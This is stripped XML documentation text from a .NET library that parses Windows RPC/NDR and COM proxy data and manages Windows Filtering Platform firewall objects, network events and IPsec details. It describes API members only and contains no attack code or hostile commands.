+ + Memory type. + + + + + The mapped image path, if an image. + + + + + The mapped image path name, if an image. + + + + + The region type. + + + + + Is this a software enclave. + + + + + Interface for a marshalled NDR conformant structure. + + This interface is primarily for internal use only. + + + + Gets the number of conformant dimensions, should be at least one. + + The number of conformant dimensions. + + + + Interface for a marshalled non-encapsulated NDR union. + + This interface is primarily for internal use only. + + + + Marshal the union to a stream. + + The selector for union arm. + The marshal stream. + + + + Interface for a marshalled NDR structure. + + This interface is primarily for internal use only. + + + + Marshal the stucture to a stream. + + The marshal stream. + + + + Unmarshal the structure from a stream. + + The unmarshal stream. + + + + Get the structure's alignment. + + + + + + Structure to represent a context handle. + + + + + Context handle attributes. + + + + + Context handle UUID. + + + + + Constructor. + + Context handle attributes. + Context handle UUID. + + + + Overidden ToString method. + + The handle as string. + + + + NDR integer representation. + + + + + NDR character representation. + + + + + NDR floating point representation. + + + + + Definition of the NDR data representation for an NDR stream. + + + + + The integer representation of the NDR data. + + + + + The character representation of the NDR data. + + + + + The floating representation of the NDR data. + + + + + A class which represents an embedded pointer. + + The underlying type. + + + + Operator to convert from a value to an embedded pointer. + + The value to point to. + + + + Operator to convert from an embedded pointer to a value. + + The embedded pointer. + + + + Overridden ToString method. + + The string form of the value. + + + + Get the value from the embedded pointer. + + The value of the pointer. + + + + Structure to represent an empty value. + + + + + Class to represent a 16 bit enumerated type. + + + + + Value of the structure. + + + + + Constructor. + + + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Equality operator. + + The left value. + The right value. + True if the values are equal. + + + + Inequality operator. + + The left value. + The right value. + True if the values are not-equal. + + + + Overridden ToString. + + The value as a string. + + + + ToString method. + + The formatting string. + The value as a string. + + + + IFormattable ToString. + + The formatting string. + Formatting provider. + The value as a string. + + + + Equals operator. + + The other enum16. + True if the values are equal. + + + + Compare + + + + + + + Overridden GetHashCode. + + The hash code of the enumeration. + + + + Structure which represents an NDR FC_INT3264 + + + + + Value of the structure. + + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Convert to a native IntPtr. + + The value to convert from. + + + + Overridden ToString. + + The value as a string. + + + + ToString method. + + The formatting string. + The value as a string. + + + + IFormattable ToString. + + The formatting string. + Formatting provider. + The value as a string. + + + + Structure which represents an NDR FC_UINT3264 + + + + + Value of the structure. + + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Constructor. + + The value to construct from. + + + + Convert to a native IntPtr. + + The value to convert from. + + + + Overridden ToString. + + The value as a string. + + + + ToString method. + + The formatting string. + The value as a string. + + + + IFormattable ToString. + + The formatting string. + Formatting provider. + The value as a string. + + + + Class to represent an NDR interface pointer. + + + + + The marshaled interface data. + + + + + Constructor. + + The marshaled interface data. + + + + A buffer to marshal NDR data to. + + This class is primarily for internal use only. + + + + Represents an NDR pickled type. + + + + + Constructor from a type 1 serialized buffer. + + The type 1 serialized encoded buffer. + + + + Convert the pickled type to a type 1 serialized encoded buffer. + + The type 1 serialized encoded buffer. + + + + Type for a synchronous NDR pipe. + + The base type of pipe blocks. + + + + The list of blocks for the pipe. + + + + + Constructor. + + The list of blocks to return. + + + + Constructor. + + A single block to return. + + + + Convert the pipe blocks to a flat array. + + The flat array. + + + + A buffer to unmarshal NDR data from. + + This class is primarily for internal use only. + + + + Place holder for unsupported types. + + + + + Class to represent a single COM proxy definition. + + + + + The name of the proxy interface. + + + + + The IID of the proxy interface. + + + + + The base IID of the proxy interface. + + + + + The number of dispatch methods on the interface. + + + + + List of parsed procedures for the interface. + + + + + Creates a proxy definition from a list of procedures. + + The name of the proxy interface. + The IID of the proxy interface. + The base IID of the proxy interface. + The total dispatch count for the proxy interface. + The list of parsed procedures for the proxy interface. + + + + + Expression element. + + + + + Overridden ToString method. + + The expression as a string. + + + + The expression type. + + + + + Is this operator element valid. + + + + + Operator expression element. + + + + + NDR format type of element. + + + + + NDR format type of element. + + + + + Offset, used for OP_EXPRESSION. + + + + + Parsed arguments. + + + + + Overridden ToString method. + + The expression as a string. + + + + Variable expression element. + + + + + Offset of the variable. + + + + + NDR format type of element. + + + + + Overridden ToString method. + + The expression as a string. + + + + Expression element. + + + + + NDR format type of element. + + + + + Offset of the variable. + + + + + The value of the constant. + + + + + Overridden ToString method. + + The expression as a string. + + + + An interface which can be implemented to handle formatting parsed NDR data. + + + + + Format a complex type using the current formatter. + + The complex type to format. + The formatted complex type. + + + + Format a procedure using the current formatter. + + The procedure to format. + The formatted procedure. + + + + Format a COM proxy using the current formatter. + + The COM proxy to format. + The formatted COM proxy. + + + + Format an RPC server interface using the current formatter. + + The RPC server. + The formatted RPC server interface. + + + + An base class which describes a text formatter for NDR data. + + + + This formatter generates data that the CPP compiler can (hopefully) understand, + at least it will serve as a good skeleton to support spinning up new projects easily. + + + + + Flags for the NDR formatter. + + + + + No flags. + + + + + Don't emit comments. + + + + + Default NDR formatter constructor. + + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + Formatter flags. + The default formatter. + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + The default formatter. + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + Formatter flags. + The default formatter. + + + + Create the default formatter. + + Specify a dictionary of IIDs to names. + The default formatter. + + + + Create the default formatter. + + Formatter flags. + The default formatter. + + + + Create the default formatter. + + The default formatter. + + + + NDR formatter constructor for CPP style output. + + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + Formatter flags. + The CPP formatter. + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + Function to demangle COM interface names during formatting. + The CPPformatter. + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + Formatter flags. + The CPP formatter. + + + + Create the CPP formatter. + + Specify a dictionary of IIDs to names. + The CPP formatter. + + + + Create the default formatter. + + Formatter flags. + The CPP formatter. + + + + Create the default formatter. + + The CPP formatter. + + + + Flags for the parser. + + + + + No flags. + + + + + Ignore processing any complex user marshal types. + + + + + Resolve structure names, required private symbols. + + + + + Class to parse NDR data into a structured format. + + + + + Constructor. + + Memory reader to parse from. + Process to read from. + Specify a symbol resolver to use for looking up symbols. + Flags which affect the parsing operation. + + + + Constructor. + + Process to parse from. + Specify a symbol resolver to use for looking up symbols. + + + + Constructor. + + Process to parse from. + Specify a symbol resolver to use for looking up symbols. + Flags which affect the parsing operation. + + + + Constructor. + + Specify a symbol resolver to use for looking up symbols. + + + + Constructor. + + Process to parse from. + + + + Constructor. + + + + + Read COM proxy information from a ProxyFileInfo structure. + + The address of the ProxyFileInfo structure. + The list of parsed proxy definitions. + + + + Read COM proxy information from an array of pointers to ProxyFileInfo structures. + + The address of an array of pointers to ProxyFileInfo structures. The last pointer should be NULL. + The list of parsed proxy definitions. + + + + Read COM proxy information from a file. + + The path to the DLL containing the proxy. + Optional CLSID for the proxy class. + List of IIDs to parse. + The list of parsed proxy definitions. + + + + Read COM proxy information from a file. + + The path to the DLL containing the proxy. + Optional CLSID for the proxy class. + The list of parsed proxy definitions. + + + + Read COM proxy information from a file. + + The path to the DLL containing the proxy. + The list of parsed proxy definitions. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. + + Pointer to the RPC_SERVER_INTERFACE. + The parsed NDR content. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. + + Pointer to the RPC_SERVER_INTERFACE. + Base address of the library which contains the interface. + The parsed NDR content. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. Deprecated. + + Pointer to the RPC_SERVER_INTERFACE. + The parsed NDR content. + + + + Parse NDR content from an RPC_SERVER_INTERFACE structure in memory. + + The path to a DLL containing the RPC_SERVER_INTERFACE. + Offset to the RPC_SERVER_INTERFACE from the base of the DLL. + The parsed NDR content. + + + + Parse NDR procedures from an MIDL_SERVER_INFO structure in memory. + + Pointer to the MIDL_SERVER_INFO. + Number of dispatch functions to parse. + The start offset to parse from. This is used for COM where the first few proxy stubs are not implemented. + List of names for the valid procedures. Should either be null or a list equal in size to dispatch_count - start_offset. + The parsed NDR content. + + + + Parse NDR procedures from an MIDL_SERVER_INFO structure in memory. + + Pointer to the MIDL_SERVER_INFO. + Number of dispatch functions to parse. + The start offset to parse from. This is used for COM where the first few proxy stubs are not implemented. + The parsed NDR content. + + + + List of parsed types from the NDR. + + + + + List of parsed complex types from the NDR. + + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Pointers to the the format string to the start of the types. + Specify additional parser flags. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third, the Type Offsets is the fourth parameter. + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUBLESS_PROXY_INFO structure. + Pointer to the type pickling offset table. + Index into type_pickling_offset_table array. + Specify additional parser flags. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode3. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUBLESS_PROXY_INFO is the third, the type pickling offset table is the fourth and the type index is the fifth. + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Offsets into the format string to the start of the types. + Specify additional parser flags. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third (minus the offset). + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + The process to read from. + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Offsets into the format string to the start of the types. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third (minus the offset). + + + + Parse NDR complex type information from a pickling structure. Used to extract explicit Encode/Decode method information. + + Pointer to the MIDL_TYPE_PICKLING_INFO structure. + The pointer to the MIDL_STUB_DESC structure. + Offsets into the format string to the start of the types. + The list of complex types. + This function is used to extract type information for calls to NdrMesTypeDecode2. MIDL_TYPE_PICKLING_INFO is the second parameter, + MIDL_STUB_DESC is the third (minus the offset). + + + + Exception thrown when NDR parsing fails. + + + + + Constructor. + + Exception message. + + + + Constructor. + + Exception message. + Inner exception to wrap. + + + + Class respresenting an RPC protocol sequence. + + + + + The protocol sequence for the endpoint. + + + + + The endpoint name. + + + + + A parsed NDR RPC_SERVER_INTERFACE structure. + + + + + The RPC interface GUID. + + + + + The RPC interface version. + + + + + The RPC transfer syntax GUID. + + + + + The RPC transfer syntax version. + + + + + List of parsed procedures. + + + + + List of protocol sequences. + + + + + Overridden ToString method. + + The string form of this class. + + + + NDR format character. + + + + + Class to build text strings for an NDR formatter. + + + + + Push an indent string on to the indent stack. + + The string to indent any new lines. + The current builder instance. + + + + Push an indent on to the indent stack. + + The character to indent with. + The number of indent characters. + The current builder instance. + + + + Pop the current indent off the indent stack. + + The current builder instance. + + + + Append a string to the builder. + + The string to append. + The current builder instance. + + + + Append a formatted string to the builder. + + The string format. + The array of arguments to the formatter. + The current builder instance. + + + + Append a new line to the builder. + + The current builder instance. + + + + Append a string to the builder with a new line. + + The string to append. + The current builder instance. + + + + Append a formatted string to the builder with a new line. + + The string format. + The array of arguments to the formatter. + The current builder instance. + + + + Overridden ToString method, returns the current state of the builder. + + The current stated of the builder. + + + + Utilities for NDR marshaling. + + + + + Specify NDR marshaler trace level. + + Specify the NDR marshaler trace level. + Verbose marshal stack details. + + + + Datalink address type. + + + + + Access rights for a firewall object. + + + + + Represents a firewall address and mask. + + + + + The IP address. + + + + + The mask. + + + + + Mask prefix length. + + + + + Overridden ToString method. + + The value and mask as a string. + + + + Address family when IP protocol is not specified. + + + + + IPv4 + + + + + IPv6 + + + + + Ethernet + + + + + None + + + + + Class to represent a firewall ALE endpoint. + + + + + The ID of the endpoint. + + + + + The local endpoint. + + + + + The remote endpoint. + + + + + The protocol type. + + + + + The LUID for the token associated with the endpoint. + + + + + The IPsec security association identifier. + + + + + The IPsec security association identifier to expire. + + + + + The IPsec status of the endpoint. + + + + + Flags. + + + + + Associated application. + + + + + Filename of AppId. + + + + + Enumeration for ALE layer types. + + + + + Class to represent a firewall callout object. + + + + + Flags for the callout. + + + + + Provider key. + + + + + Provider data. + + + + + Applicable layer key. + + + + + Callout ID. + + + + + Flags for a firewall callout. + + + + + Guids for pre-defined callouts. + + + + + Flags for classify output. + + + + + Class to represet the result of a classify operations. + + + + + Action type of the classify result. + + + + + Internal context. + + + + + ID of the filter. + + + + + Associated rights. + + + + + Classify flags. + + + + + Base class to implement common condition building operations. + + + + + Specify list of firewall filter conditions. + + + + + Add a condition. + + The match type for the condition. + The field key for the condition. + The value for the condition. + + + + Add a condition range. + + The field key for the condition. + The low value for the range. + The high value from the range. + + + + Add an executable filename condition. + + The match type for the condition. + The path to the file to use. + + + + Add an App ID condition. + + The match type for the condition. + The path to the file already converted to absolute format. + + + + Add a user ID security descriptor condition. + + The match type for the condition. + The security descriptor. + + + + Add a remote user ID security descriptor condition. + + The match type for the condition. + The security descriptor. + + + + Add a remote machine ID security descriptor condition. + + The match type for the condition. + The security descriptor. + + + + Add a IP protocol type condition. + + The match type for the condition. + The protocol type for the condition. + + + + Add a conditions flag condition. + + The match type for the condition. + The flags for the condition. + + + + Add IP address. + + The match type for the condition. + True to specify remote, false for local. + The low IP address. + + + + Add IP address range. + + True to specify remote, false for local. + The low IP address. + The high IP address. + + + + Add port range. + + True to specify remote, false for local. + The low port. + The high port. + + + + Add port. + + The match type for the condition. + True to specify remote, false for local. + The port. + + + + Add an IP endpoint. + + The match type for the condition. + True to specify remote, false for local. + The IP endpoint. + + + + Add token information. + + The match type. + The token. + + + + Add remote token information. + + The match type. + The token. + + + + Add remote machine token information. + + The match type. + The token. + + + + Add a package SID condition. + + The match type. + The package SID. + + + + Add a condition which excludes app containers. + + + + + Add a condition which includes app containers. + + + + + Adds details from a process, such as the process' App ID and package SID and token information. + + The match type. + The process. + + + + Adds details from a process, such as the process' App ID and package SID and token information. + + The match type. + The PID of the process. + + + + Add the RPC UUID. + + Match type. + The RPC UUID. + + + + Add a network event type. + + Match type. + Network event type. + + + + Constructor. + + + + + Firewall condition flags. + + + + + Guids for pre-defined firewall conditions. + + + + + Direction of stream for firewall. + + + + + Outbound flow. + + + + + Inbound flow. + + + + + Place holder for an empty value. + + + + + Overridden ToString method. + + The value as a string. + + + + Class to represent the firewall engine. + + + + + Open an instance of the engine. + + The server name for the firewall service. + RPC authentication service. Use default or WinNT. + Optional authentication credentials. + Optional session information. + True to throw on error. + The opened firewall engine. + + + + Open an instance of the engine. + + The server name for the firewall service. + RPC authentication service. Use default or WinNT. + Optional authentication credentials. + Optional session information. + The opened firewall engine. + + + + Open an instance of the engine. + + True to throw on error. + The opened firewall engine. + + + + Open an instance of the engine. + + The opened firewall engine. + + + + Open a dynamic instance of the engine. + + True to throw on error. + The opened firewall engine. + + + + Open a dynamic instance of the engine. + + The opened firewall engine. + + + + Get an engine option. + + The option to get. + True to throw on error. + The engine option's value. + + + + Get an engine option. + + The option to get. + The engine option's value. + + + + Get the current network event keywords setting. + + True to throw on error. + The network event keywords. + + + + Get the current network event keywords setting. + + The network event keywords. + + + + Get collect net events option. + + True to throw on error. + True if net events are being collected. + + + + Get collect net events option. + + True if net events are being collected. + + + + Set an engine option. + + The option to set. + The value to set. + True to throw on error. + The NT status code. + + + + Set an engine option. + + The option to set. + The value to set. + + + + Set network event keywords. + + The keywords to set. + True to throw on error. + The NT status code. + + + + Set network event keywords. + + The keywords to set. + + + + Set the collection net events engine option. + + True to enable collection. + True to throw on error. + The NT status code. + + + + Set the collection net events engine option. + + True to enable collection. + + + + Get a layer by its key. + + The key of the layer. + True to throw on error. + The firewall layer. + + + + Get a layer by its key. + + The key of the layer. + The firewall layer. + + + + Get a layer by its ID. + + The ID of the layer. + True to throw on error. + The firewall layer. + + + + Get a layer by its ID. + + The ID of the layer. + The firewall layer. + + + + Get a layer by its well-known key name. + + The well-known key name of the layer. + True to throw on error. + The firewall layer. + + + + Get a layer by its well-known key name. + + The well-known key name of the layer. + The firewall layer. + + + + Get a layer by an ALE layer type. + + The ALE layer type. + True to throw on error. + The firewall layer. + + + + Get a layer by an ALE layer type. + + The ALE layer type. + The firewall layer. + + + + Enumerate all layers. + + True to throw on error. + The list of layers. + + + + Enumerate all layers. + + The list of layers. + + + + Get a sub-layer by its key. + + The key of the sub-layer. + True to throw on error. + The firewall sub-layer. + + + + Get a sub-layer by its key. + + The key of the sub-layer. + The firewall sub-layer. + + + + Get a sub-layer by its well-known key name. + + The well-known key name of the sub-layer. + True to throw on error. + The firewall sub-layer. + + + + Get a sub-layer by its well-known key name. + + The well-known key name of the sub-layer. + The firewall sub-layer. + + + + Enumerate all sub-layers. + + True to throw on error. + The list of sub-layers. + + + + Enumerate all sub-layers. + + The list of sub-layers. + + + + Get a callout by its key. + + The key of the callout. + True to throw on error. + The firewall callout. + + + + Get a callout by its key. + + The key of the callout. + The firewall callout. + + + + Enumerate all callouts + + True to throw on error. + The list of callouts. + + + + Enumerate all callouts. + + The list of callouts. + + + + Get a filter by its key. + + The key of the filter. + True to throw on error. + The firewall filter. + + + + Get a filter by its key. + + The key of the filter. + The firewall filter. + + + + Get a filter by its id. + + The ID of the filter. + True to throw on error. + The firewall filter. + + + + Get a filter by its id. + + The ID of the filter. + The firewall filter. + + + + Enumerate filters + + Specify a template for enumerating the filters. + True to throw on error. + The list of filters. + + + + Enumerate filters + + Specify a template for enumerating the filters. + The list of filters. + + + + Enumerate all filters + + True to throw on error. + The list of filters. + + + + Enumerate all filters. + + The list of filters. + + + + Add a filter. + + The builder used to create the filter. + Optional security descriptor. + True to throw on error. + The added filter ID. + + + + Add a filter. + + The builder used to create the filter. + Optional security descriptor. + The added filter ID. + + + + Add a filter. + + The builder used to create the filter. + The added filter ID. + + + + Delete a filter. + + The filter key. + True to throw on error. + The NT status. + + + + Delete a filter. + + The filter key. + + + + Delete a filter. + + The filter ID. + True to throw on error. + The NT status. + + + + Delete a filter. + + The filter ID. + + + + Get a provider by its key. + + The key of the provider. + True to throw on error. + The firewall provider. + + + + Get a provider by its key. + + The key of the provider. + The firewall provider. + + + + Enumerate all providers. + + True to throw on error. + The list of providers. + + + + Enumerate all providers. + + The list of providers. + + + + Get the security descriptor for the IKE SA database. + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor for the IKE SA database. + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor for the IKE SA database. + + The security descriptor + + + + Enumerate all IKE security associatations. + + True to throw on error. + The list of IKE security associatations. + + + + Enumerate all IKE security associatations. + + The list of IKE security associatations. + + + + Get an IKE security association by its ID and lookup context. + + The ID of the security association. + Optional lookup context. + True to throw on error. + The IKE security association. + + + + Get an IKE security association by its ID and lookup context. + + The ID of the security association. + Optional lookup context. + The IKE security association. + + + + Classify a layer. + + The ID of the layer. + A list of incoming values. + True to throw on error. + The classify result. + + + + Classify a layer. + + The ID of the layer. + A list of incoming values. + The classify result. + + + + Enumerate IPSEC key managers. + + True to throw on error. + The list of registered key managers. + + + + Enumerate IPSEC key managers. + + The list of registered key managers. + + + + Get key manager component security descriptor. + + The security information to query. + True to throw on error. + The security descriptor. + + + + Get key manager component security descriptor. + + The security information to query. + The security descriptor. + + + + Open token from its modified ID. + + The token's modified ID. + The desired token access. + True to throw on error. + The opened token. + + + + Open token from its modified ID. + + The token's modified ID. + The desired token access. + The opened token. + + + + Enumerate all ALE endpoints. + + True to throw on error. + The list of ALE endpoints. + + + + Enumerate all ALE endpoints. + + The list of ALE endpoints. + + + + Get an ALE endpoint by its ID. + + The ID of the ALE endpoint. + True to throw on error. + The ALE endpoint. + + + + Get an ALE endpoint by its ID. + + The ID of the ALE endpoint. + The ALE endpoint. + + + + Get the ALE endpoint security. + + The security information to query for. + True to throw on error. + The security descriptor. + + + + Get the ALE endpoint security. + + The security information to query for. + The security descriptor. + + + + Enumerate all sessions. + + True to throw on error. + The list of sessions. + + + + Enumerate all sessions. + + The list of sessions. + + + + Enumerate all network events. + + Template to filter down enumeration. + True to throw on error. + The list of network events. + + + + Enumerate all network events. + + True to throw on error. + The list of network events. + + + + Enumerate all network events. + + Template to filter down enumeration. + The list of network events. + + + + Subscribe to read network event.s + + True to throw on error. + Optional template to filter enumeration. + The network event listener. + + + + Subscribe to read network event.s + + Optional template to filter enumeration. + The network event listener. + + + + Subscribe to read network event.s + + True to throw on error. + The network event listener. + + + + Begin a firewall transaction. + + Flags for the transaction. + True to throw on error. + The firewall transaction. + Disposing the transaction will cause it to abort. You should call Commit to use it. + + + + Enumerate all IPsec SA contexts. + + True to throw on error. + The list of SA contexts. + + + + Enumerate all IPsec SA contexts. + + The list of SA contexts. + + + + Get an IPsec SA context by its ID. + + The ID of the IPsec SA context. + True to throw on error. + The IPsec SA context. + + + + Get an IPsec SA context by its ID. + + The ID of the IPsec SA context. + The IPsec SA context. + + + + Begin a firewall transaction. + + Flags for the transaction. + The firewall transaction. + Disposing the transaction will cause it to abort. You should call Commit to use it. + + + + Begin a read/write firewall transaction. + + The firewall transaction. + Disposing the transaction will cause it to abort. You should call Commit to use it. + + + + Dispose the engine. + + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Engine option to query or set. + + + + + Represents a firewall field schema. + + + + + The field's key. + + + + + The name of the key if known. + + + + + The type of the field. + + + + + The data type of the field. + + + + + Field type. + + + + + A class to represent a firewall filter. + + + + + The filter action type. + + + + + The layer the filter applies to. + + + + + The name of the layer if known. + + + + + The sub-layer the filter applies to. + + + + + The name of the sub-layer if known. + + + + + The flags for the filter. + + + + + List of firewall conditions. + + + + + Original weight of the filter. + + + + + Provider key. + + + + + Provider data. + + + + + Filter identifier. + + + + + Effective weight of the filter. + + + + + Type of filter. + + + + + Key for the callout. + + + + + Name of the callout key if known. + + + + + Is the filter a callout. + + + + + Has the filter got an AppID condition. + + + + + Has the filter got an AppContainer package ID condition. + + + + + Has the filter got a condition to check for a user ID. + + + + + Has the filter got a condition to check for a remote user ID. + + + + + Get a layer for this filter. + + True to throw on error. + The firewall layer. + + + + Get a layer for this filter. + + The firewall layer. + + + + Get a sub-layer for this filter. + + True to throw on error. + The firewall sub-layer. + + + + Get a sub-layer for this filter. + + The firewall sub-layer. + + + + Check if filter has any condition of a specific type. + + The condition type to check. + True if the filter has a condition of the specified type. + + + + Get the filter condition for a GUID. + + The condition type to get. + The filter condition. + + + + Delete the filter. + + True to throw on error. + The NT status. + + + + Delete the filter. + + + + + Convert the filter into a builder so that it can be modified. + + The created builder. + + + + Access rights for a firewall filter. + + + + + A builder to create a new firewall filter. + + + + + The name of the filter. + + + + + The description of the filter. + + + + + The filter key. If empty will be automatically assigned. + + + + + The layer key. + + + + + The sub-layer key. + + + + + Flags for the filter. + + + + + Specify the initial weight. + + You need to specify an EMPTY, UINT64 or UINT8 value. + + + + Specify the action for this filter. + + + + + Specify the filter type GUID when not using a callout. + + + + + Specify callout key GUID when using a callout. + + + + + Specify provider key GUID. + + + + + Constructor. + + + + + Firewall filter condition. + + + + + The match type. + + + + + The key of the field. + + + + + The field key name. + + + + + The value for the condition + + + + + Constructor. + + The condition match type. + The field key. + The value. + + + + Overridden ToString method. + + The condition as a string. + + + + Options for enumerating a filter. + + + + + Specify the key for the layer to search for. + + + + + Specify the provider key. + + + + + Specify the flags for the enumeration. + + + + + Specify the action type. + + + + + Constructor. + + The layer key. + + + + Constructor. + + The ALE layer type.. + + + + Constructor. + + + + + Class to represent a firewall layer object. + + + + + Layer flags. + + + + + Default sub-layer key. + + + + + The layer ID. + + + + + List of fields. + + + + + Is builtin layer. + + + + + Is a user-mode layer. + + + + + Enumerate filters for this layer. + + True to throw on error. + The list of sorted filters. + + + + Enumerate filters for this layer. + + The list of sorted filters. + + + + Flags for a firewall layer. + + + + + Guids for pre-defined firewall layers. + + + + + Firewall filter match type. + + + + + Direction type for a network event. + + + + + Inbound + + + + + Outbound. + + + + + Forwarding + + + + + Loopback. + + + + + Base class for a firewall network event. + + + + + Type of network event. + + + + + Flags for values set. + + + + + Timestamp of the event. + + + + + Type of protocol. + + + + + Local endpoint. + + + + + Remote endpoint. + + + + + IPv6 Scope ID. + + + + + Connection AppID. + + + + + Connection user ID. + + + + + Address family. + + + + + Package SID. + + + + + Class to represent a network event capability allow. + + + + + AppContainer network capability. + + + + + Filter ID. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + Class to represent a network event capability drop. + + + + + AppContainer network capability. + + + + + Filter ID. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + Class to represent a firewall classification allow. + + + + + Filter ID. + + + + + Layer ID. + + + + + Reason for reauthorizing + + + + + The original profile the connection was received on. + + + + + The profile the error occurred on. + + + + + Indicates the direction of the packet transmission. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + Class to represent a firewall classification drop. + + + + + Filter ID. + + + + + Layer ID. + + + + + Reason for reauthorizing + + + + + The original profile the connection was received on. + + + + + The profile the error occurred on. + + + + + Indicates the direction of the packet transmission. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + GUID identifier of a vSwitch. + + + + + Transient source port of a packet within the vSwitch. + + + + + Transient destination port of a packet within the vSwitch. + + + + + Template for network event enumeration. + + + + + Start time for events. + + + + + End time for event.s + + + + + Constructor. + + + + + Flags for a network event. + + + + + Class to represent an IKEEXT extended mode failure event. + + + + + Windows error code for the failure + + + + + Point of failure + + + + + Flags for the failure event + + + + + IKE or Authip. + + + + + Extended mode mode state + + + + + Initiator or Responder + + + + + Authentication method + + + + + Hash (SHA thumbprint) of the end certificate corresponding to failures + that happen during building or validating certificate chains. + + + + + LUID for the MM SA + + + + + Quick mode filter ID + + + + + Name of local security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Name of remote security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Array of group SIDs corresponding to the local security principal that + was authenticated, if available. + + + + + Array of group SIDs corresponding to the remote security principal that + was authenticated, if available. + + + + + Class to represent an IKEEXT main mode failure event. + + + + + Windows error code for the failure + + + + + Point of failure + + + + + Flags for the failure event + + + + + IKE or Authip. + + + + + Main mode state + + + + + Initiator or Responder + + + + + Authentication method + + + + + Hash (SHA thumbprint) of the end certificate corresponding to failures + that happen during building or validating certificate chains. + + + + + LUID for the MM SA + + + + + Main mode filter ID + + + + + Name of local security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Name of remote security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Array of group SIDs corresponding to the local security principal that + was authenticated, if available. + + + + + Array of group SIDs corresponding to the remote security principal that + was authenticated, if available. + + + + + Class to represent an IKEEXT quick mode failure event. + + + + + Windows error code for the failure + + + + + Point of failure + + + + + IKE or Authip. + + + + + Main mode state + + + + + Initiator or Responder + + + + + Tunnel or transport mode. + + + + + Main mode filter ID + + + + + Local subnet address and mask. + + + + + Remote subnet address and mask. + + + + + Class to represent an IPsec kernel drop event. + + + + + Failure error code. + + + + + Connection direction. + + + + + Security parameter index. + + + + + Filter ID. + + + + + Layer ID. + + + + + Flags for network events to capture. + + + + + Class to listen for network events. + + + + + Read the next network event. + + Timeout in milliseconds. + Returns null if not event available, otherwise the next event. + + + + Read the next network event. Waiting indefinetely for the event. + + Returns null if not event available, otherwise the next event. + + + + Dispose the listener. + + + + + Type of network event. + + + + + AppContainer capability type. + + + + + Abstract class to represent a firewall object. + + + + + The object's key. + + + + + The object's name. + + + + + The object's description. + + + + + The object's key name. + + + + + The object's security descriptor. + + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + The firewall engine object must still be open. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + The firewall engine object must still be open. + + + + Profile ID for the firewall. + + + + + Class to represent a firewall provider. + + + + + Name of the service which implements the provider. + + + + + Flags for the provider. + + + + + Provider data. + + + + + Flags for a firewall provider. + + + + + A firewall value range. + + + + + The low value. + + + + + The high value. + + + + + Overridden ToString method. + + The range as a string. + + + + Right action flags. + + + + + Class to represent a firewall session. + + + + + The session key. + + + + + Name of the session. + + + + + Description of the session. + + + + + Session flags. + + + + + Transaction wait timeout in ms. + + + + + The process ID of the session owner. + + + + + The user SID of the owner. + + + + + The name of the owner. + + + + + Is session kernel mode. + + + + + Constructor. Used when opening a session. + + The name of the session. + The description of the sesion. + Session flags. + Transaction timeout in ms. + + + + Constructor. Used when opening a session. + + Session flags. + + + + Class to represent a firewall sublayer. + + + + + Sub-layer flags. + + + + + The provider key. + + + + + Provider data. + + + + + Weight of the sub-layer. + + + + + Flags for a sub-layer. + + + + + Guids for pre-defined firewall sub-layers. + + + + + Token information for a condition. + + + + + The list of SIDs. + + + + + The list of restricted SIDs. + + + + + Capabilities. + + This is only used for local filtering. It's not used by WFP. + + + + Appcontainer SID. + + This is only used for local 